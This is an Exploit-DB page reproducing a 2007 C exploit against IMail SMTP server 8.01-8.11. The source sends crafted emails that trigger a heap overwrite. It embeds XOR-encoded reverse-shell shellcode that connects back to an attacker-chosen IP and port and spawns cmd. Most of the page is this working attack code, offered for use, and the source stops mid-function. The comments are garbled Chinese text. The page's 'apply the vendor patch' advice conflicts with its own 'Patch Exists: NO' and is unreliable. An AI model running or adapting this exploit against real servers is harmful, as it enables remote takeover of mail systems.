header-logo
Suggest Exploit
vendor:
Smtp Server
by:
axis
7.5
CVSS
HIGH
Remote Exploit
CWE
Product Name: Smtp Server
Affected Version From: 08.01
Affected Version To: 8.11
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

PRIVATE Remote Exploit For IMAIL Smtp Server(1.2)

This is a remote exploit for IMAIL Smtp Server(1.2) version 8.01-8.11. The exploit is used to attack the hostname specified using the options provided. It supports win2k All version and IMail 8.01-11. The exploit uses the strcpy function to copy a buffer from src to dst, which can lead to a buffer overflow vulnerability. The exploit also connects back to an IP and port specified using the options. The bad characters used in the exploit are 0x00, 0x0a, and 0x25. The exploit also manipulates the PEB structure to hide its presence.

Mitigation:

Apply the patch provided by the vendor.
Source

Exploit-DB raw data:

/*

  by axis
  2007-06-05
  http://www.ph4nt0m.org
  Mail-List: http://list.ph4nt0m.org


  ÒÔÇ°ÓÐÕâžöÒ»žöimailµÄexp
PRIVATE Remote Exploit  For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
        -d:             Hostname to attack [Required]
        -t:             Type [Default: 0]
        -p:             Attack port [Default: 25]
        -S:             the IP connect back to.
        -P:             the port connect back to.
Types:
        0: win2k All version , IMail 8.01-11

  ²»ÖªµÀÊÇÄÄλŽóţЎµÄ

×îœü¿ŽÁË¿Ž£¬

·Ç³£ºÃÍæµÄÒ»žö©¶Ž¡£

©¶ŽÊÇ·¢ÉúÔÚiaspam.dllÀï

loc_1001ada5       ==> ×¢Ò⶯̬µ÷ÊÔʱºò×¢ÒâŒÓÔØ»ùÖ·µÄ²»Í¬¡£
mov    eax, [ebp+var_54]
mov    ecx, [eax+10c8h]
push   ecx                 ; char *
mov    edx, [ebp+var_54]
mov    eax, [edx+10d0h]
push   eax                 ; char *
call   _strcpy
add    esp, 8
jmp    loc_1001a6f0


  ÕâÀïstrcpyµÄÁœžöbuffer£¬srcºÍdstµÄÖžÕ룬ŸÓÈ»ÊÇÖ±œÓŽÓ¶ÑÀï¶Á³öÀŽµÄ¡£
  ¶ø֮ǰûÓÐ×öÈκΌì²é

  ËùÒÔ·¢ËÍžöÓÊŒþµœ·þÎñÆ÷£¬SMDÎÄŒþ

  È»ºóÔÚÆäºóµÄÆ«ÒÆŽŠ¿ØÖÆÕâÁœžöµØÖ·£¬ŸÍ¿ÉÒÔ¿œ±ŽÈÎÒâ×Ö·ûŽ®µœÈÎÒâÄÚŽæ¡£

  badcharÊÇ 0x00 0x0a  emm˵»¹ÓОö 0x25,²»¹ýÎÒûÕÒµœ¡£


  ÒÔÇ°ÍøÉÏÄÇžö·ŽÁ¬µÄ°æ±Ÿ£¬ÊÇÀûÓÃÁËž²žÇpebÀïµÄÖžÕë¡£

  ÕâÖÖ·œ·šÔÚ2003Éϲ»ÄÜÓá£

  ÕâÀïÎÒ²ÉÓÃÁËemmµÄ·œ·š£¬¹¹ÔìÁËÒ»žöÒç³ö

  ÒòΪimailsec.dllµÄ.data¶Î¿ÉÐŽ¡£

  ËùÒÔÎÒÕÒµœÁËÕâÃŽÒ»žöµØ·œ

1000CB5D    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60    50              PUSH EAX
1000CB61    8B0D 6C540310   MOV ECX,DWORD PTR DS:[1003546C]          ; IMailsec.1003549C
1000CB67    51              PUSH ECX
1000CB68    8D95 FCFDFFFF   LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E    52              PUSH EDX
1000CB6F    FF15 F8D30210   CALL DWORD PTR DS:[<&USER32.wsprintfA>]  ; USER32.wsprintfA


  ÆäÖÐÖžÕëDWORD PTR DS:[1003546C] ÔÚimailsec.dllµÄ.dataÖУ¬ÕâžöµØÖ·¿ÉÒÔ±»ÎÒÃÇž²žÇ¡£

  ËùÒÔÎÒÃÇŸÍ¿ÉÒÔ¹¹ÔìÒ»žöÒç³ö¡£

  ˌ·ÈçÏ£º
  µÚÒ»·âÓÊŒþ£º ·¢ËÍshellcodeµœÄÚŽæÖб£ŽæºÃ¡£ÕâÀïÎҷŵœÁËtebÖÐ
  µÚ¶þ·âÓÊŒþ£º ·¢ËÍÒç³öÐèÒªµÄž²žÇ×Ö·ûŽ®µœÄÚŽæÖб£ŽæºÃ¡£ÕâÀïÎÒÒ²·ÅÔÚÁËtebÖÐ
  µÚÈý·âÓÊŒþ£º ž²žÇimailsec.dllÖÐµÄ .data¶ÎµÄÖžÕ룬ʹwsprintfAÔì³ÉÒç³ö

  Òç³öž²žÇʹÓõÄ×Ö·ûŽ®Êǵڶþ·âÓÊŒþ·¢Ë͹ýÈ¥µÄ£¬ž²žÇºóµÄ·µ»ØµØÖ·Ö±œÓÖžÏòÁ˵ÚÒ»·âÓÊŒþ·¢Ë͹ýÈ¥µÄshellcodeÔÚÄÚŽæÖеĵØÖ·¡£

  ËùÒÔÕâžö©¶ŽÊǺÍƜ̚Î޹صģ¡£¡²»ÐèÒªÈκÎopcode£¡£¡

  ÔÚʵŒÊÀûÓÃʱÎÒ·¢ËÍÁË4·âÓÊŒþ£¬µÚÒ»·âÊÇ·ÏÓÊŒþ£¬ÓÃÓÚÌážß³É¹ŠÂÊ¡£


  ÓÉÓÚ»¥ÁªÍøµÄspam·ºÀÄ£¬ËùÒԵȵœÓÊŒþ·þÎñÆ÷ŽŠÀí©¶ŽÓÊŒþʱ£¬Ò²ÐíÒÑŸ­¹ýÁËŒžžöÔÂÁË¡£¡£¡£

  ËùÒÔ×îºÃµÄ·œ°žÊÇʹÓÃdownload+exec µÄshellcode¡£

  ÕâÀïžø³öÒ»žö±ÈœÏÀõķŽÁ¬shellcode×÷Ϊpoc¡£


  ŸÝemm˵Õâžö©¶ŽÒ»Ö±Ã»²¹£¬Ö»ÊǞ߰江ûÓÐÁË¡£¡£¡£

  */

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <io.h>

#pragma comment (lib,"ws2_32")


char *szEHLO = "HELO\r\n";
char *szMF = "MAIL FROM <fucker@fuckimail.org>\r\n";
char *szRCPT = "RCPT TO: <postmaster>\r\n";
char *szDATA = "DATA\r\n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800\r\n";
char *szMIME = "MIME\r\n";
char *szEND = ".\r\n";
char *szQUIT = "QUIT\r\n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:";

//#define  SCaddr  "\x50\xe7\x03\x10"
#define  SCaddr  "\x50\xc8\xfd\x7f"
#define  Fuck_ptr "\x6c\x54\x03\x10"   //0x1003546c
#define  Teb_temp1  0x7ffdd050 
#define  Teb_temp2  0x7ffdd040 
#define  Teb_temp3  0x7ffdd030 


unsigned short port = 25;
unsigned char payload[5000] = "";



#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN

unsigned char sh_Buff[2048];
unsigned int  sh_Len;
unsigned int  Enc_key=0x99;        //ÆäʵÎ޹؜ôÒª,¶¯Ì¬Ñ°ÕÒ





unsigned char decode1[] =
/*
00401004   . /EB 0E         JMP SHORT encode.00401014
00401006   $ |5B            POP EBX
00401007   . |4B            DEC EBX
00401008   . |33C9          XOR ECX,ECX
0040100A   . |B1 FF         MOV CL,0FF
0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99
00401010   .^|E2 FA         LOOPD SHORT encode.0040100C
00401012   . |EB 05         JMP SHORT encode.00401019
00401014   > \E8 EDFFFFFF   CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF"          // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";

unsigned char decode2[] =
/*
00406030   /EB 10           JMP SHORT 00406042
00406032   |5B              POP EBX
00406033   |4B              DEC EBX
00406034   |33C9            XOR ECX,ECX
00406036   |66:B9 6601      MOV CX,166
0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99
0040603E  ^|E2 FA           LOOPD SHORT 0040603A
00406040   |EB 05           JMP SHORT 00406047
00406042   \E8 EBFFFFFF     CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01"      // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";

// kernel32.dll functions index
#define _LoadLibraryA			0x00
#define _CreateProcessA			0x04
//#define _ExitProcess			0x08
#define _ExitThread 			0x08
#define	_WaitForSingleObject	0x0C
// ws2_32.dll functions index
#define _WSASocketA				0x10
#define _connect				0x14
#define _closesocket			0x18
//#define _WSAStartup			0x1C

// functions number
#define _Knums                  4
#define _Wnums                  3

// Need functions
unsigned char functions[100][128] =         
{                                           // [esi] stack layout
    // kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"CreateProcessA"},                     //    [esi+4]       
    {"ExitThread"},                         //    [esi+8]
    //{"ExitProcess"},
    //{"TerminateProcess"},
    {"WaitForSingleObject"},                //    [esi+12] 

    // ws2_32  3                            // 01 ws2_32.dll
    {"WSASocketA"},                         //    [esi+16]     
    {"connect"},                            //    [esi+20]		
    {"closesocket"},                        //    [esi+24]
    //{"WSAStartup"},                       //    [esi+28]
    {""},
};

void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();

// Get function hash
unsigned long hash(unsigned char *c)
{
    unsigned long h=0;
    while(*c)
    {
        h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
    }
    return h;
}

// get shellcode
void GetShellCode(char* ipstr, short port)
{
    char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    unsigned char  *pSc_addr;
    unsigned char  pSc_Buff[2048];
    unsigned int   MAX_Sc_Len=0x2000;
    unsigned long  dwHash[100];
    unsigned int   dwHashSize;

    unsigned int l,i,j,k;

	char *p;
	int ip;

    // Get functions hash
    for (i=0;;i++) {
        if (functions[i][0] == '\x0') break;

        dwHash[i] = hash(functions[i]);
        //fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize = i*4;

    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;

    for (k=0;k<MAX_Sc_Len;++k ) {
        if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
            break;
        }
    }
    pSc_addr+=(k+8);   // start of the ShellCode
    
    for (k=0;k<MAX_Sc_Len;++k) {
        if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
            break;
        }
    }
    sh_Len=k; // length of the ShellCode
    
    memcpy(pSc_Buff, pSc_addr, sh_Len);

	for(k=0; k<sh_Len; ++k)
	{
		if(memcmp(pSc_Buff+k, "\x68\x7F\x00\x00\x01", 5) == 0)
		{
			ip = inet_addr(ipstr);
			p = (char*)&ip;
			pSc_Buff[k+1] = p[0];
			pSc_Buff[k+2] = p[1];
			pSc_Buff[k+3] = p[2];
			pSc_Buff[k+4] = p[3];
		}
		if(memcmp(pSc_Buff+k, "\x68\x02\x00\x00\x35", 5) == 0)
		{
			p = (char*)&port;
			pSc_Buff[k+3] = p[1]; 
			pSc_Buff[k+4] = p[0];
		}
	}

    // Add functions hash
    memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
    sh_Len += dwHashSize;

    //printf("%d bytes shellcode\n", sh_Len);
    // print shellcode
    //PrintSc(pSc_Buff, sh_Len);

    // find xor byte
    for(i=0xff; i>0; i--)
    {
        l = 0;
        for(j=0; j<sh_Len; j++)
        {
            if ( 
//                   ((pSc_Buff[j] ^ i) == 0x26) ||    //%
//                   ((pSc_Buff[j] ^ i) == 0x3d) ||    //=
    //               ((pSc_Buff[j] ^ i) == 0x3f) ||    //?
                   //((pSc_Buff[j] ^ i) == 0x40) ||    //@
                   ((pSc_Buff[j] ^ i) == 0x00) ||
				   //((pSc_Buff[j] ^ i) == 0x3c) ||
				   //((pSc_Buff[j] ^ i) == 0x3e) ||
	//			   ((pSc_Buff[j] ^ i) == 0x2f) ||
	//			   ((pSc_Buff[j] ^ i) == 0x22) ||
	//			   ((pSc_Buff[j] ^ i) == 0x2a) ||
				   //((pSc_Buff[j] ^ i) == 0x3a) ||
	//			   ((pSc_Buff[j] ^ i) == 0x20) ||
	               ((pSc_Buff[j] ^ i) == 0x25) ||
                   ((pSc_Buff[j] ^ i) == 0x0D) ||
                   ((pSc_Buff[j] ^ i) == 0x0A) 
    //               ((pSc_Buff[j] ^ i) == 0x5C)
                )
            {
                l++;
                break;
            };
        }

        if (l==0)
        {
            Enc_key = i;
            //printf("Find XOR Byte: 0x%02X\n", i);
            for(j=0; j<sh_Len; j++)
            {
                pSc_Buff[j] ^= Enc_key;
            }

            break;                        // break when found xor byte
        }
    }

    // No xor byte found
    if (l!=0){
        //fprintf(stderr, "No xor byte found!\n");

        sh_Len  = 0;
    }
    else {
        //fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);

        // encode
        if (sh_Len > 0xFF) {
            *(unsigned short *)&decode2[8] = sh_Len;
            *(unsigned char *)&decode2[13] = Enc_key;

            memcpy(sh_Buff, decode2, sizeof(decode2)-1);
            memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);
            sh_Len += sizeof(decode2)-1;
        }
        else {
            *(unsigned char *)&decode1[7]  = sh_Len;
            *(unsigned char *)&decode1[11] = Enc_key;

            memcpy(sh_Buff, decode1, sizeof(decode1)-1);
            memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);
            sh_Len += sizeof(decode1)-1;
        }
    }
}

// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];

    printf("/* %d bytes */\n",buffsize);
    for(i=0;i<buffsize;i++)
    {
        if((i%16)==0)
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }
   printf( "\";\n");
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          // C macro to begin proc

        jmp     sc_end       
sc_start:         
        pop     edi                         // Hash string start addr (esp -> edi)

        // Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink 
        lodsd                               // eax = InInitOrder.blink
        mov     ebp, [eax+8]                // ebp = kernel32.dll base address

        mov     esi, edi                    // Hash string start addr -> esi
    
    // Get function addr of kernel32
        push    _Knums
        pop     ecx
        
	get_kernel32:
        call    GetProcAddress_fun
        loop    get_kernel32

        // Get ws2_32.dll base addr
        push    0x00003233
        push    0x5f327377
        push    esp
        call    dword ptr [esi+_LoadLibraryA]         // LoadLibraryA("ws2_32");
        
        //mov     ebp, eax                   // ebp = ws2_32.dll base address
        xchg    eax, ebp

   // Get function addr of ws2_32
        push    _Wnums
        pop     ecx

    get_ws2_32:
        call    GetProcAddress_fun
        loop    get_ws2_32


//
/*     
//LWSAStartup:
        sub     esp, 400
        push    esp
        push    0x101
        call    dword ptr [esi+_WSAStartup]             // WSAStartup(0x101, &WSADATA);
//
*/

//LWSASocketA:
        push    ecx
        push    ecx
        push    ecx
        push    ecx

        push    1
        push    2
        call    dword ptr [esi+_WSASocketA]   // s=WSASocketA(2,1,0,0,0,0);

        //mov     ebx, eax                    // socket -> ebx
        xchg    eax, ebx
		
//Lconnect:
		//int 3
        push    0x0100007F 					// host: 127.0.0.1 
        push    0x35000002 					// port: 53 
        mov     ebp, esp
        
        push    0x10                        // sizeof(sockaddr_in)
        push    ebp                         // sockaddr_in address
        push    ebx                         // socket s
        call    dword ptr [esi+_connect]    // connect(s, name, sizeof(name));

        // if connect failed , exit
        test    eax, eax
        jne     Finished
		
//        xor     eax, eax
        
        // allot memory for STARTUPINFO, PROCESS_INFORMATION
        mov     edi, esp
           
        // zero out SI/PI
        push    0x12
        pop     ecx
    stack_zero:
        stosd
        loop    stack_zero
        
        //mov     byte ptr [esp+0x10], 0x44   // si.cb = sizeof(si)
        //inc     byte ptr [esp+0x3C]         // si.dwFlags
        //inc     byte ptr [esp+0x3D]         // si.wShowWindow
        //mov     [esp+0x48], ebx             // si.hStdInput = s
        //mov     [esp+0x4C], ebx             // si.hStdOutput = s
        //mov     [esp+0x50], ebx             // si.hStdError = s
        
        mov     word ptr  [esp+0x3c], 0x0101
        xchg    eax, ebx
        stosd
        stosd
        stosd
    
        mov     edi, esp
    
        // push "cmd"
        push    0x00646d63                  // "cmd"
        mov     ebp, esp

        push    eax                         // socket
		
//LCreateProcess:
        lea     eax, [edi+0x10]                    
        push    edi                         // pi
        push    eax                         // si
        push    ecx                         // lpCurrentDirectory
        push    ecx                         // lpEnvironment
        push    ecx                         // dwCreationFlags
        push    1                           // bInheritHandles
        push    ecx                         // lpThreadAttributes
        push    ecx                         // lpProcessAttributes
        push    ebp                         // lpCommandLine =  "cmd"
        push    ecx                         // lpApplicationName NULL
        call    dword ptr [esi+_CreateProcessA]         // CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi);
    
//LWaitForSingleObject:
        //push    1  
        push    0xFFFFFFFF
        push    dword ptr [edi]
        call    dword ptr [esi+_WaitForSingleObject]    // WaitForSingleObject(Handle, time) ;

//LCloseSocket:
        //push    ebx
        call    dword ptr [esi+_closesocket]           // closesocket(c);

Finished:
		// »ÖžŽ¹¹ÔìµÄÒç³öµã
		mov     eax, 0x1003546c
		mov     DWORD ptr [eax],    0x1003549c
		mov     DWORD ptr [eax+4],  0x100354c8
		mov     DWORD ptr [eax+8],  0x100354e0



        //push    1
        //call    dword ptr [esi+_ExitProcess]            // ExitProcess();
		xor     eax, eax
		push    eax
		call    dword ptr [esi+_ExitThread]

// 
GetProcAddress_fun:    
        push    ecx
        push    esi
    
        mov     esi, [ebp+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
        
    hash_loop:
        movsx   edx, byte ptr [eax]
        cmp     dl, dh
        jz      short find_addr
        ror     ebx, 7               // hash key
        add     ebx, edx
        inc     eax
        jmp     short hash_loop
     
    find_addr:
        cmp     ebx, [edi]                  // compare to hash
        jnz     short find_start
        pop     esi                         // ExportDirectory
                    // AddressOfNameOrdinals RVA
/*
//--------------------------------------------------------
		jmp over_it
		__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
		__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40
		__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
		__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
//--------------------------------------------------------

over_it:
*/
		mov     ebx, [esi+0x24] 
        add     ebx, ebp                    // rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
        
        pop     esi
        pop     ecx
        ret
        
sc_end:
        call sc_start
       
        PROC_END                            //C macro to end proc
    }
}





// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons((short)port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}




void Disconnect(SOCKET s)
{
	closesocket(s);
	WSACleanup();
}



void help(char *n)
{
	printf("==Usage:\n");
	printf("%s [target ip] [target port] [local ip] [local port]\n\n", n);
	printf("We will send 4 mail to trigger the vuln.\n");
	printf("The fucking vuln will be triggered when the mail server handling the mail.\n");
	printf("Because of the Spam in the internet,\nthe vuln maybe triggered after a few days!!Fuck!!\n\n");

}


int sendfuckingmail(int the_mail, char *target, int tg_port)
{
	SOCKET  s;
	WSADATA WSAData;
	char buffer[1000] = {0};    // ÁÙʱbufferÓÃÓÚio
	int  ret;

	char padding[5000] = {0};   // paddingÓÃÓÚÌî³ä

	if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
	{
		fprintf(stderr, "[-] WSAStartup failed.\n");
		WSACleanup();
		exit(1);
	}


	s = Make_Connection(target, tg_port, 10);
	if(s<0)
	{
		fprintf(stderr, "[-] connect err.\n");
		exit(1);
	}
    

	recv(s, buffer, sizeof(buffer), 0);
	Sleep(1000);
  
    ret = strlen(buffer);	

	if ( ret < 10 )
	{		
		printf("[-]Seems Service Down~ :( \n");
		Disconnect(s);
		return -1;		
	}


	printf("[+]Got Banner: %s", buffer);



	// HELO
	send(s, szEHLO, strlen(szEHLO), 0);
	recv(s, buffer, sizeof(buffer), 0);
//	printf("%s", buffer);
    printf("[+]Say hello to Server.\n");
	memset(buffer, 0, sizeof(buffer));

	// MAIL FROM
	Sleep(500);
	send(s, szMF, strlen(szMF), 0);
	recv(s, buffer, sizeof(buffer), 0);
	if(strstr(buffer, "250"))
	  printf("[+]Recv: %s", buffer);
	else
		{
			printf("[-]Seems Service Down~ :( \n");
			Disconnect(s);
			return -1;
		}
	memset(buffer, 0, sizeof(buffer));


	// RCPT TO
	Sleep(500);
	send(s, szRCPT, strlen(szRCPT), 0);
	recv(s, buffer, sizeof(buffer), 0);
	if(strstr(buffer, "250"))
	  printf("[+]Recv: %s", buffer);
	else
		{
			printf("[-]Seems Service Down~ :( \n");
			Disconnect(s);
			return -1;
		}
	memset(buffer, 0, sizeof(buffer));


	// DATA
	Sleep(500);
	send(s, szDATA, strlen(szDATA), 0);
	recv(s, buffer, sizeof(buffer), 0);
	if(strstr(buffer, "354"))
	  printf("[+]Recv: %s", buffer);
	else
		{
			printf("[-]Seems Service Down~ :( \n");
			Disconnect(s);
			return -1;
		}
	memset(buffer, 0, sizeof(buffer));


	Sleep(100);
	// TIME
	send(s, szTIME, strlen(szTIME), 0);
//	recv(s, buffer, sizeof(buffer), 0);
//	printf("%s", buffer);
    printf("[+]Fucking Server at %s", szTIME);
	memset(buffer, 0, sizeof(buffer));

	

	Sleep(200);


	// ÅжÏÊǵڌž·âÓÊŒþ
	if (the_mail == 0)   // ·¢Ò»·â·ÏÓÊŒþ£¬Ìážß³É¹ŠÂÊ
	{
        /*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163žöB
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # ÔÚtebÖÐ
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode»á¿œ±ŽµœµÄµØÖ·

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        */
		memcpy(payload, szCT, strlen((const char *)szCT));
		//memcpy(payload+strlen(const char *szCT), "\"", 1);
		memset(padding, 0x43, 5000);
		padding[0] = '\x22';   
		padding[2029] = '\x20';
		padding[4076] = '\x20';

		//straddr1
		padding[4223] = '\x50';
		padding[4224] = '\xd0';
		padding[4225] = '\xfd';
		padding[4226] = '\x7f';
		padding[4227] = '\x30';
		padding[4228] = '\xd0';
		padding[4229] = '\xfd';
		padding[4230] = '\x7f';

		//straddr2   0x10036ea0
		padding[4231] = '\x30';
		padding[4232] = '\xd8';
		padding[4233] = '\xfd';
		padding[4234] = '\x7f';

		padding[4235] = '\x0d';
		padding[4236] = '\x0a';
		padding[4237] = '\x00';

		
		memcpy(payload+strlen((const char *)szCT), padding, strlen((const char *)padding));
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		Sleep(100);
		// MIME
     	send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   //	recv(s, buffer, sizeof(buffer), 0);
  //	printf("%s", buffer);
   //     printf("[+]Fucking Server at %s.\n", szTIME);
   // 	memset(buffer, 0, sizeof(buffer));
		
		//print $sock "Content-Transfer-Encoding:$padding2\r\n";
		memset(padding, 0x43, 80);
		//memcpy(padding, "\x43", 80);
		padding[80] = '\x00';

		memset(payload, 0x00, sizeof(payload));
		memcpy(payload, szCTE, strlen((const char*)szCTE));
        memcpy(payload+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n", 2);

		Sleep(200);
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		memset(payload, 0x00, sizeof(payload));

	} 
	else if (the_mail == 1)   // ¹¹ÔìbufferoverflowµÄž²žÇ×Ö·ûŽ®
	{
		/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163žöB
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # ÔÚtebÖÐ
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode»á¿œ±ŽµœµÄµØÖ·

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        */
		memcpy(payload, szCT, strlen((const char *)szCT));
		//memcpy(payload+strlen(const char *szCT), "\"", 1);
		memset(padding, 0x43, 5000);
		padding[0] = '\x22';   
		padding[2029] = '\x20';
		padding[4076] = '\x20';

		//straddr1
		padding[4223] = '\x50';
		padding[4224] = '\xd0';
		padding[4225] = '\xfd';
		padding[4226] = '\x7f';
		padding[4227] = '\x30';
		padding[4228] = '\xd0';
		padding[4229] = '\xfd';
		padding[4230] = '\x7f';

		//straddr2   0x10036ea0
		padding[4231] = '\x50';
		padding[4232] = '\xc0';
		padding[4233] = '\xfd';
		padding[4234] = '\x7f';

		padding[4235] = '\x0d';
		padding[4236] = '\x0a';
		padding[4237] = '\x00';

		
		memcpy(payload+strlen((const char *)szCT), padding, strlen((const char *)padding));
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		Sleep(100);
		// MIME
     	send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   //	recv(s, buffer, sizeof(buffer), 0);
  //	printf("%s", buffer);
   //     printf("[+]Fucking Server at %s.\n", szTIME);
   // 	memset(buffer, 0, sizeof(buffer));
		
		//print $sock "Content-Transfer-Encoding:$padding2\r\n";
		memset(padding, 0x43, 80);
		//memcpy(padding, "\x43", 80);
		padding[80] = '\x00';

		memset(payload, 0x00, sizeof(payload));
		memcpy(payload, szCTE, strlen((const char*)szCTE));
        memcpy(payload+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n", 2);

		Sleep(200);
		send(s, (const char *)payload, strlen((const char *)payload), 0);


		// send payload  ¹¹ÔìÒç³öµÄ×Ö·ûŽ®  eipÖžÏòshellcodeµÄµØÖ·
        memset(payload, 0x00, sizeof(payload));
		memset(payload, 0x44, 520);
		memcpy(payload+520, SCaddr, strlen((const char *)SCaddr));
		memcpy(payload+520+4, "\r\n", 2);

		Sleep(200);
		send(s, (const char *)payload, strlen((const char *)payload), 0);

		memset(payload, 0x00, sizeof(payload));
		
	}
	else if (the_mail == 2)      // ·¢ËÍshellcode
	{
		/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163žöB
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # ÔÚtebÖÐ
           my $straddr2 = "\x50\xe7\x03\x10";     # shellcode»á¿œ±ŽµœµÄµØÖ·

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        */
		memcpy(payload, szCT, strlen((const char *)szCT));
		//memcpy(payload+strlen(const char *szCT), "\"", 1);
		memset(padding, 0x43, 5000);
		padding[0] = '\x22';   
		padding[2029] = '\x20';
		padding[4076] = '\x20';

		//straddr1
		padding[4223] = '\x50';
		padding[4224] = '\xd0';
		padding[4225] = '\xfd';
		padding[4226] = '\x7f';
		padding[4227] = '\x30';
		padding[4228] = '\xd0';
		padding[4229] = '\xfd';
		padding[4230] = '\x7f';

		//straddr2   0x7ffdc850
		padding[4231] = '\x50';
		padding[4232] = '\xc8';
		padding[4233] = '\xfd';
		padding[4234] = '\x7f';

		padding[4235] = '\x0d';
		padding[4236] = '\x0a';
		padding[4237] = '\x00';

		
		memcpy(payload+strlen((const char *)szCT), padding, strlen((const char *)padding));
